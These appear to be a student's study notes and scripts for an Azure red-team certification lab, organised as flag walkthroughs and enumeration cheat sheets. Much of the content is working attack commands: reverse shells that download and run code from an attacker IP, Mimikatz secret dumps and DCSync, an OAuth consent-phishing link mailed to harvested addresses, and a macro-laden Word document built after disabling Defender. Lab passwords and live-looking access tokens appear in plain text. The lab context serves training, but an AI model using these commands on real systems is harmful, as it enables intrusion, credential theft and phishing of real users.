New-PSSession -ComputerName 172.16.2.24 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) 510 | Enter-PSSession -Session $onPrem 511 | # now that we are on the box, lets look around 512 | whoami 513 | gci -Recurse -Force -Path . ConsoleHost_history.txt -ErrorAction SilentlyContinue 514 | # nothing there, keep looking 515 | gci C:\ 516 | gci C:\Transcripts 517 | gci C:\Transcripts\20210422 518 | gc C:\Transcripts\20210422\PowerShell_transcript.DESKTOP-M7C1AFM.6sZJrDuN.20210422230739.txt 519 | #PS C:\Users\defres-adminsrv> $Password = ConvertTo-SecureString 'UserIntendedToManageSyncWithCl0ud!' -AsPlainText -Force 520 | #$Cred = New-Object System.Management.Automation.PSCredential('adconnectadmin', $Password) 521 | #Enter-PSSession -ComputerName defres-adcnct -Credential $Cred 522 | # Let's grab the IP of the desres-adcnct 523 | ping -n 1 defres-adcnct 524 | # Its an IPv6 link local address 525 | 526 | ## Flag 45 527 | # continuing from Flag 36 - we have creds for thomasebarlow@defcorpit.onmicrosoft.com: %%Thomas^Da@asyu0(@*&13563 528 | # Go to portal.azure.com and log-in 529 | # Thomas doesn't have access to much at all. Looking around, he is part of the "ITOPS" group and it has dynamic membership rules 530 | # We can add our user to this group by modifying the permissions. Go watch Lab Video 22! 531 | Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose 532 | $domain = "defcorpit.onmicrosoft.com" 533 | $tenant = Get-AADIntTenantId -Domain $domain 534 | # Now update our user object to match what the Dynamic membership requires 535 | Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 536 | $creds = New-Object System.Management.Automation.PSCredential('thomasebarlow@defcorpit.onmicrosoft.com', (ConvertTo-SecureString "%%Thomas^Da@asyu0(@*&13563" -AsPlainText -Force)) 537 | Connect-AzureAD -Credential $creds 538 | $objectId = (Get-AzureADUser -SearchString "student 170").ObjectId 539 | # Now log in as the user to update his properties to get him in the dynamic membership! 540 | $creds = New-Object System.Management.Automation.PSCredential('student170@defcorpextcontractors.onmicrosoft.com', (ConvertTo-SecureString "HzyXYxn28ayRCN6F" -AsPlainText -Force)) 541 | Connect-AzureAD -Credential $creds -TenantId $tenant 542 | Set-AzureADUser -ObjectId $objectId -OtherMails "vendor170@defcorpextcontractors.onmicrosoft.com" -Verbose 543 | 544 | ## Flag 46 545 | # continuation of Flag 37 546 | # So we were able to add the user with CreateUser 547 | Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose 548 | $domain = "defcorphq.onmicrosoft.com" 549 | $tenant = Get-AADIntTenantId -Domain $domain 550 | $creds = New-Object System.Management.Automation.PSCredential('student170@defcorphq.onmicrosoft.com', (ConvertTo-SecureString "Stud170Password@123" -AsPlainText -Force)) 551 | Connect-AzureAD -Credential $creds -TenantId $tenant 552 | # Since we are in the Application area, let's see if any proxies are in effect 553 | Get-AzureADApplication 554 | Get-AzureADApplication | %{try{ Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID; $_.DisplayName;$_.ObjectID} catch{}} 555 | # So we have fms-defcorphq.msappproxy.net that goes to http://deffin-appproxy. 556 | $objectId = (Get-AzureADApplication | ?{ $_.DisplayName -eq "Finance Management System"}).ObjectId 557 | # Let's find the service prinipal associated with this service 558 | Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"} 559 | # Save that objectId 560 | $SPNObjectId = (Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}).ObjectId 561 | . C:\AzAD\Tools\Get-ApplicationProxyAssignedUsersAndGroups.ps1 562 | Get-ApplicationProxyAssignedUsersAndGroups -ObjectId $SPNObjectId 563 | # It says someone I control "student170" has access to it. Let's go login to the application 564 | # https://fms-defcorphq.msappproxy.net 565 | # and this application has a flaw and allows you to upload files in the Config section 566 | # after putting in a webshell, let's get a revshell! 567 | cmd=powershell iex(New-Object Net.WebClient).downloadstring('http://172.16.151.170:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 172.16.151.170 -Port 4446 568 | # Looking around, there aren't any powershell transcripts. Since we are NT authority, let's dump with mimikatz 569 | iex(New-Object net.Webclient).DownloadString('http://172.16.151.170:82/Invoke-Mimikatz.ps1') 570 | Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"' 571 | # that dumped a bunch. Here is a unique one: 572 | #Secret : _SC_SNMPTRAP / service 'SNMPTRAP' with username : adfsadmin@deffin.com 573 | #cur/text: UserToCreateandManageF3deration! 574 | #old/text: UserToCreateandManageF3deration! 575 | 576 | ## Flag 47 577 | # We need to find if AD Connect is in use 578 | # If you wanna use ActiveDictoryModule, use: Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SameAccountName,Description | fl 579 | # the above command also includes the server name in the Description 580 | Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} 581 | # If it is enabled, we can run the following on the box that has ADSync running 582 | Import-Module C:\AzAD\Tools\AADInternals\ 583 | Get-AADIntSyncCredentials 584 | # this extracts the clear-text creds of both the MSOL and the Sync account. Then run dc-sync attack on the MSOL user 585 | runas /netonly /user:defeng.corp\MSOL_782bef6aa0a9 cmd 586 | Invoke-Mimikatz -Command '"lsadump::dcsync /user:defeng\krbtgt /domain:defeng.corp /dc:defeng-dc.defeng.corp"' 587 | # Alternatively, we can reset any cloud account with the Sync account 588 | $creds = New-Object System.Management.Automation.PSCredential("Sync_DEFENG-ADCNCT_782bef6aa0a9@defcorpsecure.onmicrosoft.com", (ConvertTo-SecureString '' -AsPlainText -Force) 589 | Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache 590 | Get-AADIntGlobalAdmins 591 | Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId 592 | Set-AADIntUserPassword -SourceAnchor "" -Password "New Pasword" -Verbose 593 | # If it is a cloud-only user you want to reset, do the following: 594 | Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID 595 | Set-AADIntUserPassword -CloudAnchor "" -Password "New Password" -Verbose 596 | $creds = New-Object System.Management.Automation.PSCredential('defeng-adcnct\administrator', (ConvertTo-SecureString "CredsToManageCl0udSync!" -AsPlainText -Force)) 597 | -------------------------------------------------------------------------------- /CARTP/AuthenticatedEnumeration_AzCLI.ps1: -------------------------------------------------------------------------------- 1 | https://aka.ms/installazurecliwindows 2 | 3 | az login -u test@defcorphq.onmicrosoft.com -p SuperVeryEasytoGuessPAssw0rd!@222 4 | 5 | # Login 6 | $User = "student170@defcorpextcontractors.onmicrosoft.com" 7 | $User = "test@defcorphq.onmicrosoft.com" 8 | $pass = "HzyXYxn28ayRCN6F" 9 | $pass = "SuperVeryEasytoGuessPAssw0rd!@222" 10 | az login -u $User -p $pass 11 | # Add if there is no permissions, you can see what is readable in the subscription 12 | az login -u $user -p $pass --allow-no-subscriptions 13 | 14 | # searching the commands 15 | az find "vm" 16 | az find "az vm list" 17 | # if you don't want json, you can append "--output table" or "--output text" 18 | # the --query parameter works just like jq 19 | az ad user list --query "[].[userPrincipalName,displayName]" 20 | az ad user list --query "[].{UPN:userPrincipalName,Name:displayName}" 21 | 22 | # Get current user extents 23 | az account tenant list 24 | az account subscription list 25 | az ad signed-in-user show 26 | 27 | # Enum AAD Users 28 | az ad user list 29 | az ad user show --id $userid 30 | az ad user list --query "[?contains(displayName,'admin')].displayName" 31 | az ad user list | ConvertFrom-Json | %{$_.displayName -match "admin"} 32 | az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName" 33 | 34 | # Enum AAD Groups 35 | az ad group list 36 | az ad group list --query "[].[displayName]" -o table 37 | az ad group show -g "VM Admins" 38 | az ad group list --query "[?contains(displayName,'admin')].displayName" 39 | az ad group member list -g "VM Admins" --query "[].[displayName]" 40 | # find if user is part of group 41 | az ad group member check --group "VM Admins" --member-id $userid 42 | # Get object ids of the groups where the the group is a member 43 | az ad group get-member-groups -g "VM Admins" 44 | 45 | #Enum Apps 46 | az ad app list 47 | az ad app show --id $appid 48 | az ad app list | ConvertFrom-Json | %{$_.displayName -match "app"} 49 | az ad app owner list --id $appid --query "[].[displayName]" 50 | # find apps with password credentials 51 | az ad app list --query "[?passwordCredentials != null].displayName" 52 | # find apps with key credentials 53 | az ad app list --query "[?keyCredentials != null].displayName" 54 | 55 | # Find Service Accounts 56 | az ad sp list --all 57 | az ad sp show --id $spid 58 | az ad sp list --all --query "[?contains(displayName,'app')].displayName" 59 | # find service account owners 60 | az ad sp owner --id $spid 61 | az ad sp list --show-mine 62 | az ad sp list --all --query "[?passwordCredentials != null].displayName" 63 | az ad sp list --all --query "[?keyCredentials != null].displayName" 64 | 65 | # find VMs 66 | az vm list --query '[].{Name:name,ResourceGroup:resourceGroup,ProvisioningState:provisioningState,VMSize:hardwareProfile.vmSize}' 67 | 68 | # find webapps 69 | az webapp list 70 | # find function apps 71 | az functionapp list 72 | # find storage 73 | az storage account list 74 | # readable key vaults 75 | az keyvault list 76 | 77 | # Using tokens 78 | az account get-access-token 79 | az account get-access-token --resource-type ms-graph 80 | 81 | 82 | # Logging out 83 | az logout 84 | -------------------------------------------------------------------------------- /CARTP/AuthenticatedEnumeration_AzureADModule.ps1: -------------------------------------------------------------------------------- 1 | # install (requires an active connection) 2 | Install-Module AzureAD -Scope CurrentUser 3 | 4 | # Login 5 | $User = "student170@defcorpextcontractors.onmicrosoft.com" 6 | $User = "test@defcorphq.onmicrosoft.com" 7 | $pass = "lF4XmyWHAte512LGeca5" 8 | $pass = "SuperVeryEasytoGuessPAssw0rd!@222" 9 | $creds = New-Object System.Management.Automation.PSCredential($User, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 10 | Connect-AzureAD -Credential $creds 11 | $tenantId = "e2277a76-28d6-4f61-8642-8852fddc1642" 12 | $domain = "defcorpextcontractors.onmicrosoft.com" 13 | $account = $User 14 | 15 | # Enum Users 16 | Get-AzureADUser -All $true 17 | $lookup = "student204@defcorpextcontractors.onmicrosoft.com" 18 | Get-AzureADUser -ObjectID $lookup | fl * 19 | Get-AzureADUser -SearchString "admin" 20 | Get-AzureADUser -All $true | ?{ $_.Displayname -match "admin"} 21 | Get-AzureADUser -All $true | %{$Properties = $_; $Properties.PSObject.Properties.Name | % { if($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}} 22 | Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} 23 | # Enum Objects 24 | Get-AzureADUser | Get-AzureADUserCreatedObject 25 | Get-AzureADUserOwnedObject -ObjectID cf6b3a0a-4b21-4099-ad0e-e4de5665e5b9 26 | # Enum Groups 27 | Get-AzureADGroup -All $true$ 28 | $objid="563abeef-8ca9-4efc-b5dc-55007131b3ff" 29 | Get-AzureADGroup -ObjectId $objid 30 | # search for a group based on display name 31 | Get-AzureADGroup -SearchString "admin" | fl * 32 | Get-AzureADGroup -All $true | ?{$_.Displayname -match "admin"} 33 | Get-AzureADMSGroup -All $true | ?{$_.GroupTypes -eq "DynamicMembership"} 34 | # find groups that are synced with on-prem 35 | Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} 36 | Get-AzureADGroupMember -ObjectId $objid 37 | # Get groups and roles where the user is a member 38 | Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership 39 | Get-AzureADUserMembership -ObjectId $User 40 | # Get all available Roles 41 | Get-AzureADDirectoryroleTemplate 42 | Get-AzureADDirectoryRole 43 | # Enumerate users whom roles are assigned 44 | Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember 45 | 46 | # Enumerate Devices 47 | Get-AzureADDevice -All $true | fl * 48 | Get-AzureADDeviceConfiguration | fl * 49 | Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner 50 | Get-AzureADDevice -All $true | get-AzureADDeviceRegisteredUser 51 | # Devices owned by users 52 | Get-AzureADUserOwnedDevice -ObjectId $objid 53 | Get-AzureADUserRegisteredDevice -ObjectId $objid 54 | # Devices in intune 55 | Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} 56 | 57 | # Enumerate Apps 58 | Get-AzureADApplication -All $true 59 | Get-AzureADApplication -ObjectId $objid | fl * 60 | Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"} 61 | Get-AzureADApplicationPasswordCredential -ObjectID $objid 62 | # Get roles and groups with Apps 63 | Get-AzureADApplication -ObjectId $objid | Get-AzureADApplicationOwner | fl * 64 | Get-AzureADUser -ObjectId $objid | Get-AzureADUserAppRoleAssignment | fl * 65 | Get-AzureADGroup -ObjectId $objid | Get-AzureADGroupAppRoleAssignment | fl * 66 | 67 | # Enumerate Service Principals (Service accounts) 68 | Get-AzureADServicePrincipal -All $true 69 | Get-AzureADServicePrincipal -ObjectId $objid | fl * 70 | Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} 71 | # see what principals own 72 | Get-AzureADServicePrincipal -ObjectId $objid | Get-AzureADServicePrincipalOwner | fl * 73 | Get-AzureADServicePrincipal -ObjectId $objid | Get-AzureADServicePrincipalOwnedObject 74 | Get-AzureADServicePrincipal -ObjectId $objid | Get-AzureADServicePrincipalCreatedObject 75 | Get-AzureADServicePrincipal -ObjectId $objid | Get-AzureADServicePrincipalMembership | fl * 76 | 77 | -------------------------------------------------------------------------------- /CARTP/Azure_Attacks.ps1: -------------------------------------------------------------------------------- 1 | Install-Module Az -Scope CurrentUser 2 | 3 | # Login 4 | $User = "student170@defcorpextcontractors.onmicrosoft.com" 5 | $User = "test@defcorphq.onmicrosoft.com" 6 | $pass = "HzyXYxn28ayRCN6F" 7 | $pass = "SuperVeryEasytoGuessPAssw0rd!@222" 8 | $base = "defcorphq" 9 | $creds = New-Object System.Management.Automation.PSCredential($User, $(ConvertTo-SecureString $pass -AsPlainText -Force)) 10 | Connect-AzAccount -Credential $creds 11 | 12 | # Check for Illicit Grant 13 | (Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIDsAssignedToDefaultUserRole 14 | # if it isn't, you need to go set it up in the GUI. See OneNote Entry (User.ReadBasic.All and User.Read) 15 | # Let's verify that it is set up 16 | Import-Module AzureADPreview.psd1 17 | Connect-AzureAD -Credentials $creds 18 | (Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole 19 | # Now we need to send the link to the target user (like emails) 20 | # Enumerate the webpages for those pages that allow you to send links or do phishing emails directly 21 | Invoke-EnumerateSubDomains.ps1 -Base $base 22 | # Look through each of these 23 | $list = Import-Csv -Path 'C:\Users\studentuser170\Downloads\users.csv' 24 | $mail = $list | select H3 | ?{$_.H3 -ne '' -AND $_.H3 -ne $NULL} 25 | $link = 'https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=999ac582-fe8d-4d83-9d72-5500fa386f74&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default+openid+offline_access+&redirect_uri=https%3A%2F%2F172.16.151.170%2Flogin%2Fauthorized&response_mode=query' 26 | $mail | Foreach-object{$addr="You <"+$_.H3+">"; Send-MailMessage -From "Friendly Guy " -To $addr -Subject 'Here is the report' -Body $link -Priority High -DeliveryNotificationOption OnSuccess, OnFailure -SmtpServer localhost -Port 1025 } 27 | # Once you get a token back, you need to save it 28 | $token='eyJ0eXAiOiJKV1QiLCJub25jZSI6IldjY3ZrbmxuUGtsY2gxYzNhNWRoV2hGZk1WSkVwWFNaMFZJdVJ4bTBrWEEiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MjI5NjY4MywibmJmIjoxNjQyMjk2NjgzLCJleHAiOjE2NDIzMDE4NzEsImFjY3QiOjAsImFjciI6IjEiLCJhaW8iOiJFMlpnWUxCdVhoQmhyWis0dzFCUmc2R29UK2VneE1TbGU5a082bWEyQmoxSXZKeTVYUVFBIiwiYW1yIjpbInB3ZCJdLCJhcHBfZGlzcGxheW5hbWUiOiJzdHVkZW50MTcwIiwiYXBwaWQiOiI5OTlhYzU4Mi1mZThkLTRkODMtOWQ3Mi01NTAwZmEzODZmNzQiLCJhcHBpZGFjciI6IjEiLCJpZHR5cCI6InVzZXIiLCJpcGFkZHIiOiI1MS4yMTAuMS4yMzkiLCJuYW1lIjoiRXJpayBNLiBLZWxsZXIiLCJvaWQiOiI0ZDFkOTkzYi02ZjUwLTRkNWItYWQ4OC1hYzRjMjYyNDNhNjYiLCJwbGF0ZiI6IjMiLCJwdWlkIjoiMTAwMzIwMDEyMEQ2RkY4NiIsInJoIjoiMC5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0b0xGbXBtTl9vTk5uWEpWQVBvNGIzUndBSzQuIiwic2NwIjoiVXNlci5SZWFkIFVzZXIuUmVhZEJhc2ljLkFsbCIsInNpZ25pbl9zdGF0ZSI6WyJpbmtub3dubnR3ayJdLCJzdWIiOiJSTzVRMVQxeHR6MXJiVk0wQW40bmFyNkhZd3dVRXd4QzlCeUh2Yl82cnQwIiwidGVuYW50X3JlZ2lvbl9zY29wZSI6IkFTIiwidGlkIjoiMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2IiwidW5pcXVlX25hbWUiOiJFcmlrTUtlbGxlckBkZWZjb3JwaHEub25taWNyb3NvZnQuY29tIiwidXBuIjoiRXJpa01LZWxsZXJAZGVmY29ycGhxLm9ubWljcm9zb2Z0LmNvbSIsInV0aSI6IjZvTk1oNmpYZzBHTEJYQlNGQjhKQUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbImI3OWZiZjRkLTNlZjktNDY4OS04MTQzLTc2YjE5NGU4NTUwOSJdLCJ4bXNfdGNkdCI6MTYxNTM3NTYyOX0.KfVXHfyDa64YB9f2PaQqP-VTOYn_TzqsJOBOSxLGZrZqWOdI0nnOLnDvFdCXKvoo9kEIliYHFKzLby4Z3ZulJ42pVVBYoEqKfUJ32-v3mCoNKkMySR6DuFrfsd8UL2IUHva2Qh5i6Dz1RR-pTSO_Y-ksykSix3z2bul-fkSPv-70dFZomegAB0JnZDlm5L2qo2ziJPUx04J2ctgmov5aZ-C0Mp7hryLMgx-ovUlf3lyg69yLm8QjXHpQnsGB-HAf5mwLrNtHx3wrn3dkT3oAi2YjmJYnduR9VnXgPGb4iYnT0HVfG_l3lDUBTHMNGW6sdPBsz0oXeT-mqCpcBGBqFw' 29 | # if you want, go to jwt.io to analyze the token or download https://github.com/ticarpi/jwt_tool 30 | • you should see the "scp" section which is the scope of what permissions you are giving 31 | # Now go list the users based on this new token 32 | $URI = 'https://graph.microsoft.com/v1.0/users' 33 | $RequestParams = @{ 34 | Method = 'GET' 35 | Uri = $URI 36 | Headers = @{ 'Authorization' = "Bearer $token" } 37 | } 38 | $users = (Invoke-RestMethod @RequestParams).Value 39 | # Now you should look through the users, find someone interesting 40 | # find some with an ApplicationAdministratorRole 41 | # Now go back to the application in the GUI and add a few more permissions for Microsoft graph 42 | • Add mail.read, notes.read.all, mailboxsettings.readwrite, files.readwrite.all, mail.send 43 | # send that person a phishing email and see if they respond. It should pop up in the 365-stealer 44 | 45 | # We can make a word document with a macro for a rev shell 46 | # You have to have a computer with office installed if you want to make an office macro exploit 47 | $passwd = ConvertTo-SecureString "ForCreatingWordDocs@123" -AsPlainText -Force 48 | $creds = New-Object System.Management.Automation.PSCredential ("office-vm\administrator", $passwd) 49 | $officeVM = New-PSSession -ComputerName 172.16.1.250 -Credential $creds 50 | Enter-PSSession -Session $officeVM 51 | Set-MpPreference -DisableRealtimeMonitoring $true 52 | # Upload the Out-Word exploit to the office VM 53 | IEX(New-Object Net.Webclient).downloadString("http://172.16.151.170:82/Out-Word.ps1") 54 | Out-Word -Payload "powershell iex (new-object Net.webclient).downloadstring('http://172.16.151.170:82/Invoke-PowershellTcp.ps1');Power -Reverse -IPAddress 172.16.151.170 -Port 4444" -OutputFile student3.doc 55 | exit 56 | Copy-Item -FromSession $officeVM -Path C:\Users\Administrator\Documents\student3.doc -Destination C:\xampp\htdocs\student2.doc 57 | # In a new terminal, start a listener 58 | nc.exe -lvp 4444 59 | # Upload this file using 365-Stealer for the Mark user. 60 | 61 | ## Exploiting the Apps 62 | # exploit 1: php shell upload 63 | $IDENTITY_HEADER="76439157-718e-4703-9409-b7827d039b67" 64 | $IDENTITY_ENDPOINT="http://169.254.129.5:8081/msi/token" 65 | curl "$IDENTITY_ENDPOINT?resource=http://management.azure.com/&api-version=2017-09-01" -H secret: $IDENTITY_HEADER 66 | #-- or upload another php shell with this in there! 67 | $token='eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNi8iLCJpYXQiOjE2NDIyNzU5MDUsIm5iZiI6MTY0MjI3NTkwNSwiZXhwIjoxNjQyMzYyNjA1LCJhaW8iOiJFMlpnWUNqYlpMKzk5TGErZWQ5blYrUEhsUmI5QUE9PSIsImFwcGlkIjoiMDY0YWFmNTctMzBhZi00MWYwLTg0MGEtMGUyMWVkMTQ5OTQ2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiY2M2N2M5MGQtZDllOS00MGQyLWI1MTEtOWQ1MmQ2NzY4MmFiIiwicmgiOiIwLkFYQUFLY3RRTFh0ZnBFaUh6djUxcVVHdHRsZXZTZ2F2TVBCQmhBb09JZTBVbVVad0FBQS4iLCJzdWIiOiJjYzY3YzkwZC1kOWU5LTQwZDItYjUxMS05ZDUyZDY3NjgyYWIiLCJ0aWQiOiIyZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYiLCJ1dGkiOiJHNWM3TXdSR2kwLWk3WVV0b2YwZEFBIiwidmVyIjoiMS4wIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvYjQxMzgyNmYtMTA4ZC00MDQ5LThjMTEtZDUyZDVkMzg4NzY4L3Jlc291cmNlZ3JvdXBzL0VuZ2luZWVyaW5nL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL2RlZmNvcnBocWNhcmVlciIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.CTUuja1paLyyZypJ9ZpDnzTLw-mbNExywczvG7bc2lCDokl-bmP3MvPly_SAOEgMyeO6J5ggBGmyImpSdaF0xjS1ewiVLFEEjdl4ko9MQkmKDaaIV83ojStqkKEwRozp97ly0zUlS5uaMVE2SkuQLbZ3mfUEe9ly1Wh-8lB0LmoUTMuuWVOK2k4kfcFqtIbpKqLF-yQ0TXp6MK7usou4t4zS3tGazqULMc9r4QuwCb7ZSqSaUYYPSVSDrjwLmjjzWSlYNY9Ima5ez9bBkcZaX5OKkcPue_kKtU9dbbWAaN7Raa9b659sCx7X1E_W852IXGg0o1G2vshdbFQvGLMpmw' 68 | $client_id='064aaf57-30af-41f0-840a-0e21ed149946' 69 | Connect-AzAccount -AccessToken $token -AccountId $client_id 70 | Get-AzRoleAssignment 71 | # if it returns an error, we have to do it manually 72 | $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' 73 | $RequestParams = @{ 74 | Method = 'GET' 75 | Uri = $URI 76 | Headers = @{ 77 | 'Authorization' = "Bearer $token" 78 | } 79 | } 80 | (Invoke-RestMethod @RequestParams).value 81 | # now with this subscription, let's list all the resources available 82 | $subid = (Invoke-RestMethod @RequestParams).value.subscriptionId 83 | $URI = "https://management.azure.com/subscriptions/$subid/resources?api-version=2020-10-01" 84 | (Invoke-RestMethod @RequestParams).value 85 | # this shows we have 2-VMs, network interfaces, public IP 86 | (Invoke-RestMethod @RequestParams).value | %{ $URI = "https://management.azure.com/" + $_.id + "/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"; $URI; $RequestParams = @{ 87 | Method = 'GET' 88 | Uri = $URI 89 | Headers = @{ 'Authorization' = "Bearer $token" } }; (Invoke-RestMethod @RequestParams).value 90 | } 91 | # It says I have read over them all except the last one, that one says I have "runCommand"! 92 | 93 | # SSTI example 94 | # Once you use SSTI to exploit it, pull the access token and the client_id 95 | $token='eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCIsImtpZCI6Ik1yNS1BVWliZkJpaTdOZDFqQmViYXhib1hXMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMmQ1MGNiMjktNWY3Yi00OGE0LTg3Y2UtZmU3NWE5NDFhZGI2LyIsImlhdCI6MTY0MjQ1MzE4NCwibmJmIjoxNjQyNDUzMTg0LCJleHAiOjE2NDI1Mzk4ODQsImFpbyI6IkUyWmdZTmdRWGFsUWMrQ1Z5cXJmVjk2OXREaVZCQUE9IiwiYXBwaWQiOiIyZTkxYTRmZS1hMGYyLTQ2ZWUtODIxNC1mYTJmZjZhYTlhYmMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yZDUwY2IyOS01ZjdiLTQ4YTQtODdjZS1mZTc1YTk0MWFkYjYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiIzMGU2NzcyNy1hOGI4LTQ4ZDktODMwMy1mMjQ2OWRmOTdjYjIiLCJyaCI6IjAuQVhBQUtjdFFMWHRmcEVpSHp2NTFxVUd0dHY2a2tTN3lvTzVHZ2hUNkxfYXFtcnh3QUFBLiIsInN1YiI6IjMwZTY3NzI3LWE4YjgtNDhkOS04MzAzLWYyNDY5ZGY5N2NiMiIsInRpZCI6IjJkNTBjYjI5LTVmN2ItNDhhNC04N2NlLWZlNzVhOTQxYWRiNiIsInV0aSI6IngwZGU5eUJjdVVTMTdiamN3UkpUQUEiLCJ2ZXIiOiIxLjAiLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9iNDEzODI2Zi0xMDhkLTQwNDktOGMxMS1kNTJkNWQzODg3NjgvcmVzb3VyY2Vncm91cHMvUmVzZWFyY2gvcHJvdmlkZXJzL01pY3Jvc29mdC5XZWIvc2l0ZXMvdmF1bHRmcm9udGVuZCIsInhtc190Y2R0IjoiMTYxNTM3NTYyOSJ9.A7qCx-Jj18XNH5OCVRnFiHahrJFrRLgTsZkkpNVEZwCFoso9ApJY87ci2mCXGeQYKIdYBIP1pmG0yWNJzYFQclvTNV9cPHFKf0nxisacLW11Gnhw-YKPbubdYJX4Bp0epllHsqG7AYowQYPvAJI8tf4MYC8D-VHmtoZ1oRq35tVktnOnZ51zKHk1lLsvvg71l2COwIGk6LQvaEfCnTxlcP56gpYPuq25zhx6kjQA2_hIcVpqQJeGzvYzVbmLSlJadBRkLYrRQ51qO4inRpDsUp8_z1vngBcrmp8I0h6hS-LBrt19eOIP24kA_HC6UQ6uNSNBzvvUYCJapL41Xqe3rA' 96 | $client_id='2e91a4fe-a0f2-46ee-8214-fa2ff6aa9abc' 97 | Connect-AzAccount -AccessToken $token -AccountId $client_id 98 | Get-AzResource 99 | # It says we have access to Key vault, let's go 100 | Get-AzKeyVault 101 | Get-AzKeyVault -VaultName ResearchKeyVault 102 | 103 | # OS Command Injection 104 | # upload python script to pull environmental varaibles 105 | # Once you exploit, rinse and repeat 106 | # this one gave both a Graph and Management token. Let's use them both 107 | $token = 